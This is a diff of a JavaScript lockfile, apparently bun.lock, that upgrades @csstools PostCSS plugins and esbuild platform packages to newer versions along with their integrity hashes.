+ "@csstools/postcss-gamut-mapping": ["@csstools/postcss-gamut-mapping@3.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-IrXAW3KQ3Sxm29C3/4mYQ/iA0Q5OH9YFOPQ2w24iIlXpD06A9MHvmQapP2vAGtQI3tlp2Xw5LIdm9F8khARfOA=="],
- "@csstools/postcss-media-queries-aspect-ratio-number-values": ["@csstools/postcss-media-queries-aspect-ratio-number-values@1.0.4", "", { "dependencies": { "@csstools/css-parser-algorithms": "^2.2.0", "@csstools/css-tokenizer": "^2.1.1", "@csstools/media-query-list-parser": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-IwyTbyR8E2y3kh6Fhrs251KjKBJeUPV5GlnUKnpU70PRFEN2DolWbf2V4+o/B9+Oj77P/DullLTulWEQ8uFtAA=="],
+ "@csstools/postcss-gradients-interpolation-method": ["@csstools/postcss-gradients-interpolation-method@6.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-saQHvD1PD/zCdn+kxCWCcQOdXZBljr8L6BKlCLs0w8GXYfo3SHdWL1HZQ+I1hVCPlU+MJPJJbZJjG/jHRJSlAw=="],
- "@csstools/postcss-nested-calc": ["@csstools/postcss-nested-calc@2.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-jbwrP8rN4e7LNaRcpx3xpMUjhtt34I9OV+zgbcsYAAk6k1+3kODXJBf95/JMYWhu9g1oif7r06QVUgfWsKxCFw=="],
+ "@csstools/postcss-hwb-function": ["@csstools/postcss-hwb-function@5.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-ChR0+pKc/2cs900jakiv8dLrb69aez5P3T+g+wfJx1j6mreAe8orKTiMrVBk+DZvCRqpdOA2m8VoFms64A3Dew=="],
- "@csstools/postcss-normalize-display-values": ["@csstools/postcss-normalize-display-values@2.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-TQT5g3JQ5gPXC239YuRK8jFceXF9d25ZvBkyjzBGGoW5st5sPXFVQS8OjYb9IJ/K3CdfK4528y483cgS2DJR/w=="],
+ "@csstools/postcss-ic-unit": ["@csstools/postcss-ic-unit@5.0.0", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-/ws5d6c4uKqfM9zIL3ugcGI+3fvZEOOkJHNzAyTAGJIdZ+aSL9BVPNlHGV4QzmL0vqBSCOdU3+rhcMEj3+KzYw=="],
- "@csstools/postcss-oklab-function": ["@csstools/postcss-oklab-function@2.2.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AgJ2rWMnLCDcbSMTHSqBYn66DNLBym6JpBpCaqmwZ9huGdljjDRuH3DzOYzkgQ7Pm2K92IYIq54IvFHloUOdvA=="],
+ "@csstools/postcss-initial": ["@csstools/postcss-initial@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-UVUrFmrTQyLomVepnjWlbBg7GoscLmXLwYFyjbcEnmpeGW7wde6lNpx5eM3eVwZI2M+7hCE3ykYnAsEPLcLa+Q=="],
- "@csstools/postcss-progressive-custom-properties": ["@csstools/postcss-progressive-custom-properties@2.3.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Zd8ojyMlsL919TBExQ1I0CTpBDdyCpH/yOdqatZpuC3sd22K4SwC7+Yez3Q/vmXMWSAl+shjNeFZ7JMyxMjK+Q=="],
+ "@csstools/postcss-is-pseudo-class": ["@csstools/postcss-is-pseudo-class@6.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-1Hdy/ykg9RDo8vU8RiM2o+RaXO39WpFPaIkHxlAEJFofle/lc33tdQMKhBk3jR/Fe+uZNLOs3HlowFafyFptVw=="],
- "@csstools/postcss-relative-color-syntax": ["@csstools/postcss-relative-color-syntax@1.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-juCoVInkgH2TZPfOhyx6tIal7jW37L/0Tt+Vcl1LoxqQA9sxcg3JWYZ98pl1BonDnki6s/M7nXzFQHWsWMeHgw=="],
+ "@csstools/postcss-light-dark-function": ["@csstools/postcss-light-dark-function@3.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-s++V5/hYazeRUCYIn2lsBVzUsxdeC46gtwpgW6lu5U/GlPOS5UTDT14kkEyPgXmFbCvaWLREqV7YTMJq1K3G6w=="],
- "@csstools/postcss-scope-pseudo-class": ["@csstools/postcss-scope-pseudo-class@2.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-6Pvo4uexUCXt+Hz5iUtemQAcIuCYnL+ePs1khFR6/xPgC92aQLJ0zGHonWoewiBE+I++4gXK3pr+R1rlOFHe5w=="],
+ "@csstools/postcss-logical-float-and-clear": ["@csstools/postcss-logical-float-and-clear@4.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-NGzdIRVj/VxOa/TjVdkHeyiJoDihONV0+uB0csUdgWbFFr8xndtfqK8iIGP9IKJzco+w0hvBF2SSk2sDSTAnOQ=="],
- "@csstools/postcss-stepped-value-functions": ["@csstools/postcss-stepped-value-functions@2.1.1", "", { "dependencies": { "@csstools/css-calc": "^1.1.1", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-YCvdF0GCZK35nhLgs7ippcxDlRVe5QsSht3+EghqTjnYnyl3BbWIN6fYQ1dKWYTJ+7Bgi41TgqQFfJDcp9Xy/w=="],
+ "@csstools/postcss-logical-overflow": ["@csstools/postcss-logical-overflow@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-5cRg93QXVskM0MNepHpPcL0WLSf5Hncky0DrFDQY/4ozbH5lH7SX5ejayVpNTGSX7IpOvu7ykQDLOdMMGYzwpA=="],
- "@csstools/postcss-text-decoration-shorthand": ["@csstools/postcss-text-decoration-shorthand@2.2.4", "", { "dependencies": { "@csstools/color-helpers": "^2.1.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-zPN56sQkS/7YTCVZhOBVCWf7AiNge8fXDl7JVaHLz2RyT4pnyK2gFjckWRLpO0A2xkm1lCgZ0bepYZTwAVd/5A=="],
+ "@csstools/postcss-logical-overscroll-behavior": ["@csstools/postcss-logical-overscroll-behavior@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-82Jnl/5Wi5jb19nQE1XlBHrZcNL3PzOgcj268cDkfwf+xi10HBqufGo1Unwf5n8bbbEFhEKgyQW+vFsc9iY1jw=="],
- "@csstools/postcss-trigonometric-functions": ["@csstools/postcss-trigonometric-functions@2.1.1", "", { "dependencies": { "@csstools/css-calc": "^1.1.1", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-XcXmHEFfHXhvYz40FtDlA4Fp4NQln2bWTsCwthd2c+MCnYArUYU3YaMqzR5CrKP3pMoGYTBnp5fMqf1HxItNyw=="],
+ "@csstools/postcss-logical-resize": ["@csstools/postcss-logical-resize@4.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-L0T3q0gei/tGetCGZU0c7VN77VTivRpz1YZRNxjXYmW+85PKeI6U9YnSvDqLU2vBT2uN4kLEzfgZ0ThIZpN18A=="],
- "@csstools/postcss-unset-value": ["@csstools/postcss-unset-value@2.0.1", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-oJ9Xl29/yU8U7/pnMJRqAZd4YXNCfGEdcP4ywREuqm/xMqcgDNDppYRoCGDt40aaZQIEKBS79LytUDN/DHf0Ew=="],
+ "@csstools/postcss-logical-viewport-units": ["@csstools/postcss-logical-viewport-units@4.0.0", "", { "dependencies": { "@csstools/css-tokenizer": "^4.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-TA3AqVN/1IH3dKRC2UUWvprvwyOs2IeD7FDZk5Hz20w4q33yIuSg0i0gjyTUkcn90g8A4n7QpyZ2AgBrnYPnnA=="],
- "@csstools/selector-specificity": ["@csstools/selector-specificity@2.2.0", "", { "peerDependencies": { "postcss-selector-parser": "^6.0.10" } }, "sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw=="],
+ "@csstools/postcss-media-minmax": ["@csstools/postcss-media-minmax@3.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-I+CrmZt23fyejMItpLQFOg9gPXkDBBDjTqRT0UxCTZlYZfGrzZn4z+2kbXLRwDfR59OK8zaf26M4kwYwG0e1MA=="],
+
+ "@csstools/postcss-media-queries-aspect-ratio-number-values": ["@csstools/postcss-media-queries-aspect-ratio-number-values@4.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FDdC3lbrj8Vr0SkGIcSLTcRB7ApG6nlJFxOxkEF2C5hIZC1jtgjISFSGn/WjFdVkn8Dqe+Vx9QXI3axS2w1XHw=="],
+
+ "@csstools/postcss-mixins": ["@csstools/postcss-mixins@1.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-rz6qjT2w9L3k65jGc2dX+3oGiSrYQ70EZPDrINSmSVoVys7lLBFH0tvEa8DW2sr9cbRVD/W+1sy8+7bfu0JUfg=="],
+
+ "@csstools/postcss-nested-calc": ["@csstools/postcss-nested-calc@5.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aPSw8P60e/i9BEfugauhikBqgjiwXcw3I9o4vXs+hktl4NSTgZRI0QHimxk9mst8N01A2TKDBxOln3mssRxiHQ=="],
+
+ "@csstools/postcss-normalize-display-values": ["@csstools/postcss-normalize-display-values@5.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FcbEmoxDEGYvm2W3rQzVzcuo66+dDJjzzVDs+QwRmZLHYofGmMGwIKPqzF86/YW+euMDa7sh1xjWDvz/fzByZQ=="],
+
+ "@csstools/postcss-oklab-function": ["@csstools/postcss-oklab-function@5.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-3d/Wcnp2uW6Io0Tajl0croeUo46gwOVQI9N32PjA/HVQo6z1iL7yp19Gp+6e5E5CDKGpW7U822MsDVo2XK1z0Q=="],
+
+ "@csstools/postcss-position-area-property": ["@csstools/postcss-position-area-property@2.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-TeEfzsJGB23Syv7yCm8AHCD2XTFujdjr9YYu9ebH64vnfCEvY4BG319jXAYSlNlf3Yc9PNJ6WnkDkUF5XVgSKQ=="],
+
+ "@csstools/postcss-progressive-custom-properties": ["@csstools/postcss-progressive-custom-properties@5.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-NsJoZ89rxmDrUsITf8QIk5w+lQZQ8Xw5K6cLFG+cfiffsLYHb3zcbOOrHLetGl1WIhjWWQ4Cr8MMrg46Q+oACg=="],
+
+ "@csstools/postcss-property-rule-prelude-list": ["@csstools/postcss-property-rule-prelude-list@2.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-qcMAkc9AhpzHgmQCD8hoJgGYifcOAxd1exXjjxilMM6euwRE619xDa4UsKBCv/v4g+sS63sd6c29LPM8s2ylSQ=="],
+
+ "@csstools/postcss-random-function": ["@csstools/postcss-random-function@3.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-SvKGfmj+WHfn4bWHaBYlkXDyU3SlA3fL8aaYZ8Op6M8tunNf3iV9uZyZZGWMCbDw0sGeoTmYZW9nmKN8Qi/ctg=="],
+
+ "@csstools/postcss-relative-color-syntax": ["@csstools/postcss-relative-color-syntax@4.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-HaMN+qMURinllszbps2AhXKaLeibg/2VW6FriYDrqE58ji82+z2S3/eLloywVOY8BQCJ9lZMdy6TcRQNbn9u3w=="],
+
+ "@csstools/postcss-scope-pseudo-class": ["@csstools/postcss-scope-pseudo-class@5.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-kBrBFJcAji3MSHS4qQIihPvJfJC5xCabXLbejqDMiQi+86HD4eMBiTayAo46Urg7tlEmZZQFymFiJt+GH6nvXw=="],
+
+ "@csstools/postcss-sign-functions": ["@csstools/postcss-sign-functions@2.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-C3br0qcHJkQ0qSGUBnDJHXQdO8XObnCpGwai5m1L2tv2nCjt0vRHG6A9aVCQHvh08OqHNM2ty1dYDNNXV99YAQ=="],
+
+ "@csstools/postcss-stepped-value-functions": ["@csstools/postcss-stepped-value-functions@5.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-vZf7zPzRb7xIi2o5Z9q6wyeEAjoRCg74O2QvYxmQgxYO5V5cdBv4phgJDyOAOP3JHy4abQlm2YaEUS3gtGQo0g=="],
+
+ "@csstools/postcss-syntax-descriptor-syntax-production": ["@csstools/postcss-syntax-descriptor-syntax-production@2.0.0", "", { "dependencies": { "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-elYcbdiBXAkPqvojB9kIBRuHY6htUhjSITtFQ+XiXnt6SvZCbNGxQmaaw6uZ7SPHu/+i/XVjzIt09/1k3SIerQ=="],
+
+ "@csstools/postcss-system-ui-font-family": ["@csstools/postcss-system-ui-font-family@2.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FyGZCgchFImFyiHS2x3rD5trAqatf/x23veBLTIgbaqyFfna6RNBD+Qf8HRSjt6HGMXOLhAjxJ3OoZg0bbn7Qw=="],
+
+ "@csstools/postcss-text-decoration-shorthand": ["@csstools/postcss-text-decoration-shorthand@5.0.3", "", { "dependencies": { "@csstools/color-helpers": "^6.0.2", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-62fjggvIM1YYfDJPcErMUDkEZB6CByG8neTJqexnZe1hRBgCjD4dnXDLoCSSurjs1LzjBq6irFDpDaOvDZfrlw=="],
+
+ "@csstools/postcss-trigonometric-functions": ["@csstools/postcss-trigonometric-functions@5.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-e8me32Mhl8JeBnxVJgsQUYpV4Md4KiyvpILpQlaY/eK1Gwdb04kasiTTswPQ5q7Z8+FppJZ2Z4d8HRfn6rjD3w=="],
+
+ "@csstools/postcss-unset-value": ["@csstools/postcss-unset-value@5.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-EoO54sS2KCIfesvHyFYAW99RtzwHdgaJzhl7cqKZSaMYKZv3fXSOehDjAQx8WZBKn1JrMd7xJJI1T1BxPF7/jA=="],
+
+ "@csstools/selector-resolve-nested": ["@csstools/selector-resolve-nested@4.0.0", "", { "peerDependencies": { "postcss-selector-parser": "^7.1.1" } }, "sha512-9vAPxmp+Dx3wQBIUwc1v7Mdisw1kbbaGqXUM8QLTgWg7SoPGYtXBsMXvsFs/0Bn5yoFhcktzxNZGNaUt0VjgjA=="],
+
+ "@csstools/selector-specificity": ["@csstools/selector-specificity@6.0.0", "", { "peerDependencies": { "postcss-selector-parser": "^7.1.1" } }, "sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA=="],
+
+ "@csstools/utilities": ["@csstools/utilities@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-etDqA/4jYvOGBM6yfKCOsEXfH96BKztZdgGmGqKi2xHnDe0ILIBraRspwgYatJH9JsCZ5HCGoCst8w18EKOAdg=="],
"@dabh/diagnostics": ["@dabh/diagnostics@2.0.3", "", { "dependencies": { "colorspace": "1.1.x", "enabled": "2.0.x", "kuler": "^2.0.0" } }, "sha512-hrlQOIi7hAfzsMqlGSFyVucrx38O+j6wiGOf//H2ecvIEqYN4ADBSS2iLMh5UFyDunCNniUIPk/q3riFv45xRA=="],
@@ -1063,55 +1135,57 @@
"@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.1.0", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ=="],
- "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.25.1", "", { "os": "aix", "cpu": "ppc64" }, "sha512-kfYGy8IdzTGy+z0vFGvExZtxkFlA4zAxgKEahG9KE1ScBjpQnFsNOX8KTU5ojNru5ed5CVoJYXFtoxaq5nFbjQ=="],
+ "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.27.3", "", { "os": "aix", "cpu": "ppc64" }, "sha512-9fJMTNFTWZMh5qwrBItuziu834eOCUcEqymSH7pY+zoMVEZg3gcPuBNxH1EvfVYe9h0x/Ptw8KBzv7qxb7l8dg=="],
- "@esbuild/android-arm": ["@esbuild/android-arm@0.25.1", "", { "os": "android", "cpu": "arm" }, "sha512-dp+MshLYux6j/JjdqVLnMglQlFu+MuVeNrmT5nk6q07wNhCdSnB7QZj+7G8VMUGh1q+vj2Bq8kRsuyA00I/k+Q=="],
+ "@esbuild/android-arm": ["@esbuild/android-arm@0.27.3", "", { "os": "android", "cpu": "arm" }, "sha512-i5D1hPY7GIQmXlXhs2w8AWHhenb00+GxjxRncS2ZM7YNVGNfaMxgzSGuO8o8SJzRc/oZwU2bcScvVERk03QhzA=="],
- "@esbuild/android-arm64": ["@esbuild/android-arm64@0.25.1", "", { "os": "android", "cpu": "arm64" }, "sha512-50tM0zCJW5kGqgG7fQ7IHvQOcAn9TKiVRuQ/lN0xR+T2lzEFvAi1ZcS8DiksFcEpf1t/GYOeOfCAgDHFpkiSmA=="],
+ "@esbuild/android-arm64": ["@esbuild/android-arm64@0.27.3", "", { "os": "android", "cpu": "arm64" }, "sha512-YdghPYUmj/FX2SYKJ0OZxf+iaKgMsKHVPF1MAq/P8WirnSpCStzKJFjOjzsW0QQ7oIAiccHdcqjbHmJxRb/dmg=="],
- "@esbuild/android-x64": ["@esbuild/android-x64@0.25.1", "", { "os": "android", "cpu": "x64" }, "sha512-GCj6WfUtNldqUzYkN/ITtlhwQqGWu9S45vUXs7EIYf+7rCiiqH9bCloatO9VhxsL0Pji+PF4Lz2XXCES+Q8hDw=="],
+ "@esbuild/android-x64": ["@esbuild/android-x64@0.27.3", "", { "os": "android", "cpu": "x64" }, "sha512-IN/0BNTkHtk8lkOM8JWAYFg4ORxBkZQf9zXiEOfERX/CzxW3Vg1ewAhU7QSWQpVIzTW+b8Xy+lGzdYXV6UZObQ=="],
- "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.25.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-5hEZKPf+nQjYoSr/elb62U19/l1mZDdqidGfmFutVUjjUZrOazAtwK+Kr+3y0C/oeJfLlxo9fXb1w7L+P7E4FQ=="],
+ "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.27.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Re491k7ByTVRy0t3EKWajdLIr0gz2kKKfzafkth4Q8A5n1xTHrkqZgLLjFEHVD+AXdUGgQMq+Godfq45mGpCKg=="],
- "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.25.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-hxVnwL2Dqs3fM1IWq8Iezh0cX7ZGdVhbTfnOy5uURtao5OIVCEyj9xIzemDi7sRvKsuSdtCAhMKarxqtlyVyfA=="],
+ "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.27.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-vHk/hA7/1AckjGzRqi6wbo+jaShzRowYip6rt6q7VYEDX4LEy1pZfDpdxCBnGtl+A5zq8iXDcyuxwtv3hNtHFg=="],
- "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.25.1", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-1MrCZs0fZa2g8E+FUo2ipw6jw5qqQiH+tERoS5fAfKnRx6NXH31tXBKI3VpmLijLH6yriMZsxJtaXUyFt/8Y4A=="],
+ "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.27.3", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-ipTYM2fjt3kQAYOvo6vcxJx3nBYAzPjgTCk7QEgZG8AUO3ydUhvelmhrbOheMnGOlaSFUoHXB6un+A7q4ygY9w=="],
- "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.25.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-0IZWLiTyz7nm0xuIs0q1Y3QWJC52R8aSXxe40VUxm6BB1RNmkODtW6LHvWRrGiICulcX7ZvyH6h5fqdLu4gkww=="],
+ "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.27.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-dDk0X87T7mI6U3K9VjWtHOXqwAMJBNN2r7bejDsc+j03SEjtD9HrOl8gVFByeM0aJksoUuUVU9TBaZa2rgj0oA=="],
- "@esbuild/linux-arm": ["@esbuild/linux-arm@0.25.1", "", { "os": "linux", "cpu": "arm" }, "sha512-NdKOhS4u7JhDKw9G3cY6sWqFcnLITn6SqivVArbzIaf3cemShqfLGHYMx8Xlm/lBit3/5d7kXvriTUGa5YViuQ=="],
+ "@esbuild/linux-arm": ["@esbuild/linux-arm@0.27.3", "", { "os": "linux", "cpu": "arm" }, "sha512-s6nPv2QkSupJwLYyfS+gwdirm0ukyTFNl3KTgZEAiJDd+iHZcbTPPcWCcRYH+WlNbwChgH2QkE9NSlNrMT8Gfw=="],
- "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.25.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-jaN3dHi0/DDPelk0nLcXRm1q7DNJpjXy7yWaWvbfkPvI+7XNSc/lDOnCLN7gzsyzgu6qSAmgSvP9oXAhP973uQ=="],
+ "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.27.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-sZOuFz/xWnZ4KH3YfFrKCf1WyPZHakVzTiqji3WDc0BCl2kBwiJLCXpzLzUBLgmp4veFZdvN5ChW4Eq/8Fc2Fg=="],
- "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.25.1", "", { "os": "linux", "cpu": "ia32" }, "sha512-OJykPaF4v8JidKNGz8c/q1lBO44sQNUQtq1KktJXdBLn1hPod5rE/Hko5ugKKZd+D2+o1a9MFGUEIUwO2YfgkQ=="],
+ "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.27.3", "", { "os": "linux", "cpu": "ia32" }, "sha512-yGlQYjdxtLdh0a3jHjuwOrxQjOZYD/C9PfdbgJJF3TIZWnm/tMd/RcNiLngiu4iwcBAOezdnSLAwQDPqTmtTYg=="],
- "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.25.1", "", { "os": "linux", "cpu": "none" }, "sha512-nGfornQj4dzcq5Vp835oM/o21UMlXzn79KobKlcs3Wz9smwiifknLy4xDCLUU0BWp7b/houtdrgUz7nOGnfIYg=="],
+ "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-WO60Sn8ly3gtzhyjATDgieJNet/KqsDlX5nRC5Y3oTFcS1l0KWba+SEa9Ja1GfDqSF1z6hif/SkpQJbL63cgOA=="],
- "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.25.1", "", { "os": "linux", "cpu": "none" }, "sha512-1osBbPEFYwIE5IVB/0g2X6i1qInZa1aIoj1TdL4AaAb55xIIgbg8Doq6a5BzYWgr+tEcDzYH67XVnTmUzL+nXg=="],
+ "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-APsymYA6sGcZ4pD6k+UxbDjOFSvPWyZhjaiPyl/f79xKxwTnrn5QUnXR5prvetuaSMsb4jgeHewIDCIWljrSxw=="],
- "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.25.1", "", { "os": "linux", "cpu": "ppc64" }, "sha512-/6VBJOwUf3TdTvJZ82qF3tbLuWsscd7/1w+D9LH0W/SqUgM5/JJD0lrJ1fVIfZsqB6RFmLCe0Xz3fmZc3WtyVg=="],
+ "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.27.3", "", { "os": "linux", "cpu": "ppc64" }, "sha512-eizBnTeBefojtDb9nSh4vvVQ3V9Qf9Df01PfawPcRzJH4gFSgrObw+LveUyDoKU3kxi5+9RJTCWlj4FjYXVPEA=="],
- "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.25.1", "", { "os": "linux", "cpu": "none" }, "sha512-nSut/Mx5gnilhcq2yIMLMe3Wl4FK5wx/o0QuuCLMtmJn+WeWYoEGDN1ipcN72g1WHsnIbxGXd4i/MF0gTcuAjQ=="],
+ "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-3Emwh0r5wmfm3ssTWRQSyVhbOHvqegUDRd0WhmXKX2mkHJe1SFCMJhagUleMq+Uci34wLSipf8Lagt4LlpRFWQ=="],
- "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.25.1", "", { "os": "linux", "cpu": "s390x" }, "sha512-cEECeLlJNfT8kZHqLarDBQso9a27o2Zd2AQ8USAEoGtejOrCYHNtKP8XQhMDJMtthdF4GBmjR2au3x1udADQQQ=="],
+ "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.27.3", "", { "os": "linux", "cpu": "s390x" }, "sha512-pBHUx9LzXWBc7MFIEEL0yD/ZVtNgLytvx60gES28GcWMqil8ElCYR4kvbV2BDqsHOvVDRrOxGySBM9Fcv744hw=="],
